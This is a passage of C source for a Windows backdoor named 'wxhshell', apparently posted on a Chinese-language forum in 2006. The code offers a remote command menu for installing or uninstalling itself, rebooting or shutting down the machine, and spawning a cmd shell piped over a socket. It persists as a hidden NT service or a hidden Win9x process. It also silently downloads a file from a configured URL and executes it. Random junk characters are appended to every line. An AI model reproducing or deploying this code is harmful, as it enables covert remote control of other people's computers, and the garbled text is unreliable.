  PV]k3&y  
  // 帮助 w$b+R8.n)  
  case '?': { y= oVUsG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (N*<\6kr  
    break; BS-:dyBw  
  } *< $c =  
  // 安装 re ]Ste  
  case 'i': { _d\u!giy  
    if(Install()) u8<&F`7j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;* wT,2;  
    else <*A|pns  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n?ZL"!$  
    break; :tjgg]  
    } 409x!d~it  
  // 卸载 _UH/}!nqB  
  case 'r': {  d-ag  
    if(Uninstall()) un$ Z7W/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1Gp$l  
    else GCP{Z]u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q3NPwM  
    break; y~== waZw  
    } xs2,t*  
  // 显示 wxhshell 所在路径 j[m_qohd7  
  case 'p': { {z5V{M(|w3  
    char svExeFile[MAX_PATH]; &J lpA<^s;  
    strcpy(svExeFile,"\n\r"); J8GXI:y  
      strcat(svExeFile,ExeFile); gqP -E  
        send(wsh,svExeFile,strlen(svExeFile),0); o27 3|*  
    break; Q SHx]*)  
    } .g/ARwM}  
  // 重启 Ism^hyL  
  case 'b': { S+) l[0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YM #  
    if(Boot(REBOOT)) PwFQ#Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zp7V\W; &  
    else { Sc;iAi (  
    closesocket(wsh); Ie G7@  
    ExitThread(0); p@?7^nIR*u  
    } 3d,-3U  
    break; <&qpl0U)Y  
    } laUu"cS  
  // 关机 3bbp>7V!  
  case 'd': { &Q-[;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E3 ~,+68U  
    if(Boot(SHUTDOWN)) N_u&3CG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&+NmOY4  
    else { /v}P)&  
    closesocket(wsh); zuC58B  
    ExitThread(0); e-[>( n/[  
    } HG{&U:>)  
    break; ~w Zl2I  
    } EX`"z(L  
  // 获取shell ~`*1*;Q<H|  
  case 's': { d] b~)!VW  
    CmdShell(wsh); j3*M!fM9  
    closesocket(wsh); 55 S\&Ad$  
    ExitThread(0); T-L|Q,-{-  
    break; M!eoe5  
  } N3uMkH-<  
  // 退出 ioB|*D<U2  
  case 'x': { kZV^F*7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |?OdV<5C  
    CloseIt(wsh); fH{9]TU_:  
    break; Zi 2o  
    } |A ;o0pL  
  // 离开 OOEV-=  
  case 'q': { =)(3Dp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;]2 x  
    closesocket(wsh); NoFs-GGGh  
    WSACleanup(); dO>k5!ge|:  
    exit(1); <Vz<{W3t  
    break; i0k+l  
        } hnp`s%e,  
  } <U@P=G<t  
  } BQyvj\uJ  
;EgzC^2e  
  // 提示信息 6OfdD.y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S304ncS|M  
} 6BDt.bG  
  } +68+PhHF  
El~-M`Gf  
  return; UH5w7M  
} EoKC8/  
z7-`Y9Ypd  
// shell模块句柄 k/df(cs  
int CmdShell(SOCKET sock) :=rA Yc3]  
{ FJO"|||Y'|  
STARTUPINFO si; r8IX/ ,  
ZeroMemory(&si,sizeof(si)); M-{*92y& |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }X=87ud  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w+q?T  
PROCESS_INFORMATION ProcessInfo; %oAL  
char cmdline[]="cmd"; M6J/mOVx5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zL9VR;q  
  return 0; .4wTjbO6  
} fJX\'Rc\  
+IG1IF  
// 自身启动模式 A:kkCG!~Nf  
int StartFromService(void) ?3`q+[:  
{ J#0GlK@"  
typedef struct 2< p{z  
{ I^WIa"u_  
  DWORD ExitStatus; fs&,w  
  DWORD PebBaseAddress; JxjP@nr  
  DWORD AffinityMask; #:$O=@@?M  
  DWORD BasePriority; k]Zo-xh4  
  ULONG UniqueProcessId; O~.U:45t  
  ULONG InheritedFromUniqueProcessId; d4%dIR)  
}   PROCESS_BASIC_INFORMATION; s0r"N7~  
>[a FOA  
PROCNTQSIP NtQueryInformationProcess; f Gb7=Fk  
I[ai:   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z)/6??/R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kaf>  
\@i=)dA  
  HANDLE             hProcess; =K :(&6f<t  
  PROCESS_BASIC_INFORMATION pbi; \ZS\i4  
w TlGJ$D0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4RhR[  
  if(NULL == hInst ) return 0; +)gGs# 2X  
Wdo#?@m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,E&Bn8L~O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,~- ?l7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v51EXf  
U| 8[#@r  
  if (!NtQueryInformationProcess) return 0; Xt ft*Z  
5^>n5u/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^OF5F8Tf/  
  if(!hProcess) return 0; r:-WzH(Ms  
NH'iR!iGo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mG_BM/$  
GJX4KA8J  
  CloseHandle(hProcess); Y&s2C%jT  
`|]e6Pb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e$/&M*0\f  
if(hProcess==NULL) return 0; h2% J/69  
u yFn}y62  
HMODULE hMod; ^ |aNG`|O  
char procName[255]; @44P4?;  
unsigned long cbNeeded; +jtA&1cf  
}w@gj"\H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MD<-w|#8IV  
1i u =Y  
  CloseHandle(hProcess); +3Y!xD?=  
AliRpxxd  
if(strstr(procName,"services")) return 1; // 以服务启动 ~n6[$WjZA  
;-Ss# &  
  return 0; // 注册表启动 H>.B99vp  
} >dk 9f}7-  
('t kZt%8  
// 主模块 "<*awWNI  
int StartWxhshell(LPSTR lpCmdLine) -u|l}}bh  
{ -l "U"U"F  
  SOCKET wsl; . |uLt J  
BOOL val=TRUE;  5@ foxI  
  int port=0; :M j_2  
  struct sockaddr_in door; ^Gq5ig1rxy  
8%[HYgd5)  
  if(wscfg.ws_autoins) Install(); B;!f<"a8  
+yWR#[`n  
port=atoi(lpCmdLine); cn%2OP:L^  
Sj)}qM-y#  
if(port<=0) port=wscfg.ws_port; [Uli>/%JB  
TFy7HX\Oq  
  WSADATA data; m"Qq{p|'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J{Tq%\a3  
3sFeP &  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8Mu;U3cIW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U<47WfcW  
  door.sin_family = AF_INET; Pr+~Kif  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C c*( {  
  door.sin_port = htons(port); )47MFNr~>  
;LRW 8Wd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M$A#I51  
closesocket(wsl); &aPl`"j  
return 1; 7yI`e*EOD  
} dn,gZ"<  
$ D'^t(  
  if(listen(wsl,2) == INVALID_SOCKET) { cS|VJWgTZ  
closesocket(wsl);  i-W  
return 1; '# z]M  
} RH(V^09[o  
  Wxhshell(wsl); s-k_d<  
  WSACleanup(); z<pJYpxH  
\cQ .|S  
return 0; R#(G%66   
%y"J8;U  
} vG Vd  
"+|L_iuNQ  
// 以NT服务方式启动 xNpg{cQ=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bf]$X>d  
{ q* !3C  
DWORD   status = 0; K>1X}ZMdD(  
  DWORD   specificError = 0xfffffff; @(:v_l  
G#[* |+f8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; alm- r-Kb3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8$vK5Dnn8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }q!_!q,@  
  serviceStatus.dwWin32ExitCode     = 0; E=u/tpj  
  serviceStatus.dwServiceSpecificExitCode = 0; &Y7C0v  
  serviceStatus.dwCheckPoint       = 0; ( 9$"#o  
  serviceStatus.dwWaitHint       = 0; - 8bNQU  
}rbZ&IN\?E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e*]r  
  if (hServiceStatusHandle==0) return; jtKn3m7 +p  
/N)5 3!LT  
status = GetLastError(); 8LJ{i%  
  if (status!=NO_ERROR) !@g)10u  
{ 1f4 bt6[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;/LD)$_  
    serviceStatus.dwCheckPoint       = 0; IfV  3fJ7  
    serviceStatus.dwWaitHint       = 0; kWL.ewTiex  
    serviceStatus.dwWin32ExitCode     = status; 4;KWG}~[o  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0JY WrPR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <7n]Ai@Y  
    return; 1H{jy^sP7  
  } R$m`Z+/@  
iOqk*EL_r\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &mE?y%  
  serviceStatus.dwCheckPoint       = 0; ](K0Fwo`;"  
  serviceStatus.dwWaitHint       = 0; LJQ J\bT?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1S$h<RIPAc  
} 8o-bd_  
:reTJQwr  
// 处理NT服务事件,比如:启动、停止 Zb''mf\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g4&jo_3:p  
{ xh0xSqDM  
switch(fdwControl) T_#, A0G  
{ ,EEPh>cXc  
case SERVICE_CONTROL_STOP: $%2H6Eg0  
  serviceStatus.dwWin32ExitCode = 0; /_\W+^fE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4MW ]EQ-  
  serviceStatus.dwCheckPoint   = 0; j@1)K3Hga  
  serviceStatus.dwWaitHint     = 0; fgF;&(b  
  { Ec]|p6a3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x<B'.3y  
  } *'ZN:5%H  
  return; x5Zrz<Y$w  
case SERVICE_CONTROL_PAUSE: hu5!ev2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #^rU x.  
  break; 2KI!af[I  
case SERVICE_CONTROL_CONTINUE: ]hTb@.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v{;7LXy0  
  break; RL}KAGK  
case SERVICE_CONTROL_INTERROGATE: YQ(Po!NI\'  
  break; Z=+03  
}; NZXjE$<Vr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lz4eh WntO  
} Bw< rp-  
ZR3nK0  
// 标准应用程序主函数  7}B   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .36^[Jsz":  
{ lCb+{OB  
y79qwM.  
// 获取操作系统版本 z?ucIsbR  
OsIsNt=GetOsVer(); 7#2j>G{?]v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {0yu   
Xm_$ dZ  
  // 从命令行安装 smU4jh9S  
  if(strpbrk(lpCmdLine,"iI")) Install(); G'#41>q+  
g9mG`f  
  // 下载执行文件 l]#!+@  
if(wscfg.ws_downexe) { c^.l 2Q!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &%F@O<:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 30F!kP*E  
} Y=B3q8l5  
fA^Em)cs2  
if(!OsIsNt) { 8+'C_t/0i  
// 如果时win9x,隐藏进程并且设置为注册表启动 \m/xV /  
HideProc(); 4$"DbaC  
StartWxhshell(lpCmdLine); uV]ULm#,i  
} ", B'k  
else [CN$ScK,  
  if(StartFromService()) $3P`DJo  
  // 以服务方式启动 ,Og4 ?fS  
  StartServiceCtrlDispatcher(DispatchTable); _ PWj(});  
else ]/dVRkZeAE  
  // 普通方式启动 TKI$hc3|L  
  StartWxhshell(lpCmdLine); BWq/TG=>  
d?L\pN&  
return 0; .BZVX=x  
}
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只看该作者 1 发表于: 2006-10-10
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